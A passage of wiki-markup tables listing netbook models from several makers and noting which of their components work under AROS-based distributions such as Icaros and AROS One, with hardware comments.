| &lt;!--Name--&gt;Packard Bell Dot .S || &lt;!--Chipset--&gt;N280 + || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|legacy}} || &lt;!--Gfx--&gt;{{yes|Intel GMA950 (2D)}}|| &lt;!--Audio--&gt;HD Audio ALC272X || &lt;!--USB--&gt; USB2.0 || &lt;!--Ethernet--&gt; {{no|Atheros l1e}} || &lt;!--Wireless--&gt;{{no|Atheros 9k}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Packard Bell Dot .SE || &lt;!--Chipset--&gt;N450 + || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;legacy || &lt;!--Gfx--&gt;Intel GMA950 (2D) || &lt;!--Audio--&gt;HD Audio ALC|| &lt;!--USB--&gt;USB2.0 || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Packard Bell Dot .S2 NAV50 || &lt;!--Chipset--&gt;N455 NM10 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel X3150 || &lt;!--Audio--&gt;HD Audio ALC269 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Atheros || &lt;!--Wireless--&gt;Atheros || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Packard Bell Dot M/A || &lt;!--Chipset--&gt;1.2GHz Athlon L110 + RS690E || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;legacy mode? || &lt;!--Gfx--&gt;AMD ATI Radeon Xpress X1270 (VESA only) || &lt;!--Audio--&gt;HD Audio ATI SBx00 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek RTL8101E RTL8102E rtl8169 || &lt;!--Wireless--&gt;{{unk|Atheros AR9285}} || &lt;!--Test Distro--&gt; || &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


====Asus Netbooks====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| [http://wiki.debian.org/DebianEeePC/Models eeePC] 700 701 2G 4G 8G Surf || Intel 910GML + ICH7 || {{N/A}} || {{Maybe|IDE legacy mode}} || {{Yes|Intel GMA 900 2D and 3D tunnel 68 gearbox 43 on 701 800x480}} || {{Yes|ALC662 HD Audio}} || {{Yes|UHCI and EHCI}} || {{No|Atheros L2}} || {{Yes|Atheros 5k AR5007EG (AR2425 works}} || 2016 Icaros 2.1.1, 2.1.2, Aros One 2.5 32bit USB, || 2007 32bit - power supplies fail due to bad caps issue 9.5V 2.5A 24W Charger AD59930 4.8*1.7MM - 
|-
| [http://wiki.debian.org/DebianEeePC/Models eeePC] 701SD || Intel 910GML + ICH7 || {{N/A}} || {{Maybe|IDE legacy mode}} || {{Maybe|Intel GMA 900 (2D)}} || {{Yes|ALC662 HD Audio}} || {{Yes|UHCI and EHCI}} || {{No|Atheros L2}} || {{No|RTL8187SE swap with Atheros 5k}} || 2014 AspireOS 1.7,  || 2007 32bit - boot issues but does boot with ATA=32bit,nopoll or ATA=nodma,nopoll 
|-
| [http://wiki.debian.org/DebianEeePC/Models eeePC] 900 || Intel 910GML + ICH7 || {{N/A}} || {{Maybe|IDE legacy mode}} || {{Maybe|Intel GMA 900 (2D, 3D in some models)}} || {{Yes|ALC662 HD Audio}} || {{Yes|UHCI and EHCI}} || {{No|Atheros L2}} || {{Maybe|depends on chipset AR5007EG (AR2425) works but not RaLink}} || 2014 AspireOS 1.7,  || 2008 32bit - boot issues but does boot with ATA=32bit,nopoll or ATA=nodma,nopoll. 900's may need BIOS upgrade to boot usb optical drives. 3D available in some model revisions - AD59230 9.5v 2.31a psu - 
|-
| eeePC 900A || 945GSE || {{N/A}} || {{Maybe|IDE legacy mode}} || {{Yes|Intel GMA 950 (3D)}} || {{Yes|HD Audio ALC269}} || {{Yes|USB2.0}} || {{No|Atheros L1e [1969 1026]}} || {{Yes|Atheros 5k AR242x}} || Nightly Build 2012, 2023 Aros One 32bit 2.4 || 2009 32bit 
|-
| eeePC 901 1000 || 945GM || {{N/A}} || {{Maybe|IDE legacy mode}} || {{yes|Intel GMA 950 (2D)}} || {{Yes|ALC269 HD Audio}} || {{Yes|USB}} || {{No|Atheros L1E (AR8121 AR8113 AR8114)}} || {{No|RaLink Device 2860 swap with Atheros 5k}} || 2011 Icaros 1.4,  || 2009 32bit -  12v 3a psu - 
|-
| eeePC Seashell 1000HA 1000HE 1008 1005HA || N280 + Intel GMA950 || {{N/A}} || SATA || {{Yes|Intel GMA (2D)}} || {{Yes|HD Audio ALC269}} || {{Yes|USB}} || {{Maybe|Realtek but not Atheros AR8132 (L1c)}} || {{unk|Atheros AR9285}} || 2014 Aspire OS 1.6,  || 2010 32bit -  12v 3a psu - 
|-
| &lt;!--Name--&gt;eeePC 1001ha || &lt;!--Chipset--&gt;GMA945 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;legacy || &lt;!--Gfx--&gt;Intel GMA 950 (2D) || &lt;!--Audio--&gt;ALC269 HD Audio || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Attansic Atheros AR8132 l1c}} || &lt;!--Wireless--&gt;{{No|RaLink RT3090 swap with Atheros 5k}} || &lt;!--Test Distro--&gt;untested || &lt;!--Opinion--&gt;2010 32bit  
|-
| eeePC 1001P T101MT 1005PX 1005PE 1015PE Pineview 1001PXD || NM10 and N450 N455 CPU || {{N/A}} || {{Maybe|IDE mode}} || {{Yes|Intel GMA 3150 (2D)}} || {{Yes|HD Audio}} || {{Yes|USB 2.0}} || {{No|Atheros AR8132 (l1c)}} || {{unk|Atheros AR928x 802.11n}} || 2010 Icaros 1.3.3,  || 2011 64bit - 19V 2.1A 2.3x0.7 - 
|-
| EeePC 1015B 1215B || single C-30 C30 or dual C-50 C50 + Hudson M1 || {{N/A}} || SATA || {{partial|AMD 6250 (VESA only)}} || ATI SBx00 HD Audio || USB || {{No|AR8152 v2.0 atl1c}} || {{No|Broadcom BCM4313 [14e4 4727]}} || untested recently || 2011 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;Flare X101CH Cedarview || &lt;!--Chipset--&gt;N2600 + N10 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel GMA 6300 || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Atheros l1c 2.0}} || &lt;!--Wireless--&gt;{{unk|Atheros 9k AR9285}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit 
|-
| &lt;!--Name--&gt;Flare 1025CE 1225CE || &lt;!--Chipset--&gt;N2800 + N10 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{dunno|Intel GMA 3600}} || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Atheros l1c 2.0}} || &lt;!--Wireless--&gt;{{unk|Atheros 9k AR9285}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


====Dell Netbooks====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| Inspiron 910 Mini 9 PP39S Vostro A90 || GMA945 || {{Maybe|STEC 8G 16G 32G IDE PATA Parallel ATA miniPCIE SSD 50MM / 70MM very slow}} || {{N/A| }} || {{yes|Intel GMA 2D and 3D opengl1}} || {{yes|ALC268 HD Audio}} || {{yes|USB2 boots and works}} || {{yes|rtl8169 Realtek RTL8102E}} || {{no|Broadcom BCM4310 and 4312 swap with atheros 5k bx32}} || ICAROS 1.3 but Icaros 2.3 (pci issues), AROS One 2.6 and Tiny AROS (digiclock startup) mouse cursor vanishes || 2008 32bit - 9inch 1024x600 screen - 1 ddr2 sodimm slot max 2gig - 19v 1.58a - 0 boot disk select - cr2032 battery under laptop base cover, while mem 2GB max under base flap - 
|-
| &lt;!--Name--&gt;Inspiron Mini 10 1010 PP19S || &lt;!--Chipset--&gt;Atom Z520 Z530 Intel US15W Poulsbo || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{maybe|Intel GMA 500 (VESA only)}} || &lt;!--Audio--&gt;{{Maybe|HD Audio ALC269 codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{yes|rtl8169 RTL8102E}} || &lt;!--Wireless--&gt;{{no|Intel or BCM4312}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2008 32bit - 10.10 inch 16:9, 1366 x 768 glossy - 28whr or 56wHr battery options - 
|-
| [https://wiki.ubuntu.com/HardwareSupport/Machines/Netbooks#Dell%20Mini%2010v%20(Inspiron%201011) Mini 10v 1011] [http://wiki.debian.org/InstallingDebianOn/Dell/InspironMini10v]|| Intel 950 || {{N/A}} || {{maybe|ide legacy mode}} || {{yes|Intel GMA (2D)}}  || {{maybe|HDAudio}} || {{yes|USB}} || {{yes|RTL8102E 8103E}} || {{no|Dell 1397 Wireless}} || untested || 2008 32bit - 
|-
| &lt;!--Name--&gt;Inspiron Mini 1018 || &lt;!--Chipset--&gt;Intel Atom N455 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{partial|IDE mode }} || &lt;!--Gfx--&gt;{{yes|Intel GMA 3150 (2D, no VGA output)}} || &lt;!--Audio--&gt;{{partial|HD Audio head phones only - speaker and micro phone do not work}} || &lt;!--USB--&gt;{{yes|USB 2.0}} || &lt;!--Ethernet--&gt;{{yes|RTL8169}} || &lt;!--Wireless--&gt;{{unk|RTL8188CE or AR928X}} || &lt;!--Test Distro--&gt;2011 Icaros 1.5.1,  || &lt;!--Comments--&gt;2009 64bit - 1 DDR3 max 2gb - 
|-
| Latitude 2100 || Intel Atom N270 N280 1.60Ghz GMA 945GME || {{N/A}} || {{Yes|set to IDE in bios as ahci not working || {{yes|Intel GMA 950 (2D and 3D with tunnel 98 and gearbox 84)}} || {{yes|HD Audio with ALC272 codec}} || {{yes|USB2.0}} || {{No|Broadcom BCM5764M}} || {{No|Intel 5100 or BCM4322 DW 1510 half height mini pcie use small Atheros 5k}} || &lt;!--Test Distro--&gt;2016 AspireOS 1.8, Icaros 2.1.1 and AROS One USB 2.4 || 2009 32bit ddr2 sodimm max 2G - [https://sites.google.com/site/arosaspireone/about-aspire-one Webcam and card reader not working] lcd cable over hinge an issue - f12 bios and boot - 
|-
| &lt;!--Name--&gt;Latitude 2110 2120 || &lt;!--Chipset--&gt;N470 1.83Ghz, N455 1.6Ghz, N550 1.5Ghz || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|ATA mode in bios not ahci}} || &lt;!--Gfx--&gt;{{Yes|Intel 3150 2D only}} || &lt;!--Audio--&gt;{{Maybe|HD Audio with ALC269 codec}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No| }} || &lt;!--Wireless--&gt;{{No| swap for Atheros}} || &lt;!--Test Distro--&gt;2014 Icaros 2.3,  || &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 - ddr2 sodimm 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}

====HP Compaq Netbooks====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| HP Mini 2133 || VIA C7-M P4M900 / 8237 VX700 || {{N/A}} || {{maybe|SATA}} || {{maybe|VIA Chrome 9 HC (VESA only)}} || {{no|VT1708/A HD Audio}} || USB || {{no|Broadcom Corp NetXtreme BCM5788}} || {{no|Broadcom Corp BCM4312}} || untested || 2008 32bit - 
|-
| HP mini 1000 Mi 2140 ks145ut || N270 + 945GM || {{N/A}} || SATA || &lt;!--Gfx--&gt;{{Yes|Intel GMA 950 (2D and opengl1 3d)}} || &lt;!--Audio--&gt;{{Yes|HD Audio (playback tested)}} || &lt;!--USB--&gt;{{Yes| }} || {{no|Marvell 88E8040}} || {{no|Broadcom Corp BCM4312 hard blocked}} || untested || 2009 32Bit - unable to change wifi card 
|-
| &lt;!--Name--&gt;HP Mini 700 702 || &lt;!--Chipset--&gt;N270 + 945GSE || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|Intel GMA 950 (2D)}} || &lt;!--Audio--&gt;{{Yes|HD Audio IDT 92HD75B (111d:7608, only playback tested)}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;{{No|Broadcom hard locked}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2009 32bit - 
|-
| Compaq HP Mini 110 110-3112sa || 945GM Express || {{N/A}} || {{maybe|IDE mode}} || {{yes|Intel GMA 950 (2D)}} || {{yes|HD Audio IDT STAC 92xx}} || {{yes|USB 2.0}} || {{no|Atheros}} || {{no|Broadcom hard blocked Fn+F12}} || untested || 2009 32bit - unable to change wifi 
|-
| HP Mini 200 210 || 945GM NM10 Express || {{N/A}} || SATA || Intel GMA 950 || {{Maybe|HDAudio with }} || USB || RTL8101E RTL8102E || {{no|Broadcom BCM4312 hard locked}} || untested || 2009 32bit - 
|-
| HP Mini 311 DM1 (Quanta FP7) || N280 + ION LE || {{N/A}} || SATA || nVidia Geforce ION || {{maybe|HDAudio with }} || USB || eth || {{No|hard locked}} || untested || 2009 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|}


====Lenovo Netbooks====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| IdeaPad S9 S9e(3G) S10 S10e(3G) || 945GME || {{N/A}} || {{maybe|SATA}} || {{yes|Intel GMA (2D)}} || {{maybe|ALC269 or SigmaTel HD Audio}} || {{yes|USB}} || {{no|Broadcom NetLink BCM5906M}} || {{no|Broadcom BCM4312 hard blocked}} || untested || 2009 32bit - 
|-
| IdeaPad S12 || Intel Atom N270 + Nvidia ION LE MCP79 || {{N/A}} || SATA || nVidia C79 ION [Quadro FX 470M] || {{maybe|ALC269 HD Audio}} || USB || {{no|Broadcom}} || {{no|Intel locked down}} || 2012 Icaros 2.0,  || 2009 32bit - does not boot - cause unknown 
|-
| S10-2 || 945GME and N280 CPU || {{N/A}} || SATA || {{yes|Intel GMA (2D)}} || {{maybe|ALC269 HD Audio}} || {{yes}} || {{yes|rtl8169}} || {{no|Broadcom BCM4312 hard blocked}} || 2011 Icaros 1.3,  || 2009 32bit - 
|-
| S10-3 || NM410 and N450 CPU || {{N/A}} || SATA || {{yes|Intel GMA 3150 (2D)}} || {{maybe|HD Audio ALC269}} || {{yes|USB}} || {{yes|rtl8169}} || {{no|Atheros 9285 or Broadcom BCM4312 hard blocked}} || 2011 Icaros 1.3,  || 2009 32bit - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


====Samsung Netbooks====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| [http://www.amigaworld.net/modules/newbb/viewtopic.php?post_id=616910&amp;topic_id=33755&amp;forum=28#616910 NC10] || 945GME || {{N/A}} || {{maybe|SATA}} || {{yes|Intel GMA 950 (2D)}} || {{partial|SigmaTel HD Audio (playback only)}} || {{yes|USB}} || {{maybe|rtl8169 works but not Marvell 88E8040 sky2}} || {{yes|AR5007EG}} || 2011 Icaros 1.4,  || 2009 32bit - Nano silver on keyboard and lcd ribbon cable over hinge issues 
|-
| [http://www.sammywiki.com/wiki/Samsung_NC20 NC20] || VIA VX800 || {{N/A}} || SATA || {{maybe|VIA Chrome9 (VESA only)}} || ALC272 GR (VT1708A) HD Audio || {{yes|USB}} || {{no|Marvell 88E8040}} || {{yes|Atheros AR5001}} || untested || 2009 32bit - 
|-
| NP-N110 NP-N120 || 945GSE || {{N/A}} || SATA || {{yes|Intel GMA 950 (2D)}} || {{yes|ALC272 HD Audio or ALC6628}} || {{yes|USB}} || {{no|Marvell 88E8040}} || {{no|Realtek rtl8187}} || untested || 2009 32bit - Namuga 1.3M Webcam none
|-
| NP-N130 || 945GSE || {{N/A}} || {{yes|SATA in IDE mode}} || {{yes|Intel GMA 2D and opengl 1.x 99.5 tunnel 99 gearbox}} || {{yes|Intel HD with ALC272 ALC269 codec playback}} || {{yes|USB}} || {{yes|RTL 8169.device - 8101e 8102e}} || {{no|rtl 8192se rtl8187 too small an area to swap for atheros 5k}} || untested || 2009 32bit - 10.x inch 1024 x 600 - Namuga 1.3M Webcam - front slide power on and f2 setup bios - keyboard 17.7mm Pitch is made with Silver Nano (Anti-Bacterial) tech - small touchpad - 1 ddr2 2rx16 sodimm slot 2G max - 44Wh
|-
| &lt;!--Name--&gt;Go NP-N310 || &lt;!--Chipset--&gt;N270 + 945GME || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|IDE legacy mode}} || &lt;!--Gfx--&gt;{{yes|Intel GMA 950 (2D)}} || &lt;!--Audio--&gt;{{yes|HD Audio ALC6628}} || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{yes|rtl8169}} || &lt;!--Wireless--&gt;{{yes|Atheros5k}} || &lt;!--Test Distro--&gt;untested || &lt;!--Opinion--&gt;2010 32bit - N280 version changed specs 
|-
| NP-N510 || N270 euro N280 uk + ION MCP79 || {{N/A}} || SATA || nVidia C79 ION [Quadro FX 470M] || HD Audio || USB || Marvell 88E8040 || Realtek 8192E || untested || 2010 32bit - does not boot - cause unknown 
|-
| NP-N145 Plus || n450 + NM10 || {{N/A}} || {{maybe|IDE legacy mode}} || {{yes|Intel GMA 3150 (2D, no VGA output)}} || {{yes|Realtek HD Audio}} || {{yes|USB2.0}} || {{no|Marvell 88E8040}} || {{unk|Atheros AR9285}} || untested || 2010 some support but often the trackpad does not work 
|-
| &lt;!--Name--&gt;NC110 Axx || &lt;!--Chipset--&gt;NM10 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;Sata || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt;HDAudio with ALC269 codec A9M22Q2 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Maybe|Rtl8169}} || &lt;!--Wireless--&gt;{{No|Broadcom BCM4313 or Atheros}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2011 64bit - 
|-
| NF210 Pineview || n455 or n550 + N10 || {{N/A}} || {{maybe|SATA}} || {{maybe|Intel GMA 3150 (needs retesting, VESA works)}} || {{yes|HD Audio}} || {{yes|USB}} || {{no|Marvell 88E8040}} || Wireless || untested || 2011 64bit - some support 
|-
| &lt;!--Name--&gt;NS310 NP-NS310-A03UK || &lt;!--Chipset--&gt;N570 with NM10 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;{{Maybe|use Vesa 2d }} || &lt;!--Audio--&gt;{{yes| ich7}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{yes|rtl8169 realtek 810xe }} || &lt;!--Wireless--&gt;{{no|bcm4313 }} || &lt;!--Test Distro--&gt;2022 AROS One 2.3,  || &lt;!--Comments--&gt;2011 64bit Atom N570 or 1.5 GHz Intel Atom N550 dual core processor, 1 DDR3 sodimm slot memory, a 250GB hard drive, and a 10.1 inch, 1024 x 600 pixel 10.1&quot; W7St - 2300mAh short life - 
|-
| &lt;!--Name--&gt;[https://wiki.archlinux.org/index.php/Samsung_N150 N150] NB30 || &lt;!--Chipset--&gt;MN10 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Yes|Intel GMA 3150 (2D)}} || &lt;!--Audio--&gt;{{No| }} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|Marvell 88E8040}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9285 or Realtek 8192E}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2011 a little support 
|-
| &lt;!--Name--&gt;[http://www.kruedewagen.de/wiki/index.php/Samsung_N220 N210 N220] N230 || &lt;!--Chipset--&gt;N450 + NM10 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Yes|Intel GMA 3150 (2D)}} || &lt;!--Audio--&gt;HD Audio ALC269 || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|Marvell}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9285}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2011 64bit no sse4.1 or avx -  
|-
| &lt;!--Name--&gt;NC110 Pxx Cedarview || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{dunno|Intel GMA 3600}} || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;{{No|Intel 6000g}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2012 64bit 
|-
|}


====Toshiba Netbooks====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;NB100 || &lt;!--Chipset--&gt;945GM || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|legacy}} || &lt;!--Gfx--&gt;{{yes|Intel GMA (2D)}} || &lt;!--Audio--&gt;{{yes|ALC262 HD Audio}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{yes|rtl8169}} || &lt;!--Wireless--&gt;{{yes|AR5001}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2009 32bit - 
|-
| &lt;!--Name--&gt;Mini NB200 series NB205 || &lt;!--Chipset--&gt;N280 + GSE945 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|IDE legacy mode}}|| &lt;!--Gfx--&gt;{{yes|Intel GMA (2D)}} || &lt;!--Audio--&gt;ALC272 HD Audio || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{yes|RTL8169}} || &lt;!--Wireless--&gt;{{maybe|AR9285}} || &lt;!--Test Distro--&gt;untested || &lt;!--Opinion--&gt;2009 32bit - 
|-
| &lt;!--Name--&gt;Mini 300 series NB305 || &lt;!--Chipset--&gt;N455 with NM10 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;legacy || &lt;!--Gfx--&gt;Intel GMA 3150 (2D) || &lt;!--Audio--&gt;ALC272 HD Audio || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{maybe|RTL8101E RTL8102E}} || &lt;!--Wireless--&gt;{{maybe|AR9285}} || &lt;!--Test Distro--&gt;untested || &lt;!--Opinion--&gt;2010 64bit - 
|-
| &lt;!--Name--&gt;Mini 500 series NB505 NB520 NB550-10v || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;legacy || &lt;!--Gfx--&gt;Intel GMA 3150 (2D) || &lt;!--Audio--&gt;HD Audio || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{maybe|RTL8101E RTL8102E}} || &lt;!--Wireless--&gt;{{no|Realtek 8176 RTL 8188CE}} || &lt;!--Test Distro--&gt;untested || &lt;!--Opinion--&gt;2011 64bit - 
|-
| [http://www.notebookcheck.net/Review-Toshiba-NB550D-AMD-Fusion-Netbook.46551.0.html Mini NB550D 10G] 108 (c30) 109 (c50) || C-50 + M1 || {{N/A}} || SATA || AMD 6250 (VESA only) || HD Audio || USB || {{maybe|rtl8169 Realtek 8111e}} || {{maybe|Atheros 9k}} || untested || 2011 64bit Realtek SD card reader 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


====Misc Netbooks====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;15%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;30%&quot; |Comments
|-
| Cammy's A1600 || GME945 || {{N/A}} || {{maybe}} || {{yes|Intel GMA950 (2D)}} || {{yes|HD Audio playback}} || {{yes}} || {{no|JMC 250/260}} || Wireless || 2010 Icaros 1.2.4,  || 2009 32bit - 
|-
